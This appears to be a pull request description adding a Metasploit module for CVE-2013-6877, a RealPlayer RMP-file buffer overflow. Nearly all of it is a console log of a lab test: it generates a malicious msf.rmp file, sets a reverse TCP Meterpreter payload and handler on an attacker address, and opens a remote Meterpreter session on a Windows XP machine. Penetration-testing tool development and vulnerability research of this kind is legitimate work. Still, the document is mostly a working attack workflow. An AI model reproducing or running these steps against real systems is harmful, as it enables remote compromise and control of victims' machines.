Added module for CVE-2013-6877

The module exploits a vulnerability different from the one reported by Ricardo Narvaja, though the vendor assigned the same CVE, since they completely removed the RMP file support from the application, fixing both vulnerabilities.

Test run results below:

```
msf exploit(realplayer_ver_attribute_bof) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(realplayer_ver_attribute_bof) > set lhost 192.168.10.134
lhost => 192.168.10.134
msf exploit(realplayer_ver_attribute_bof) > exploit

[*] Creating 'msf.rmp' file ...
[+] msf.rmp stored at /home/gabor/.msf4/local/msf.rmp
msf exploit(realplayer_ver_attribute_bof) > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.10.134
lhost => 192.168.10.134
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.10.134:4444 
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 192.168.10.135
[*] Meterpreter session 1 opened (192.168.10.134:4444 -> 192.168.10.135:1984) at 2013-12-20 21:59:35 +0100

meterpreter > sysinfo
Computer        : GABOR-4F3A512AC
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.10.135 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) >
```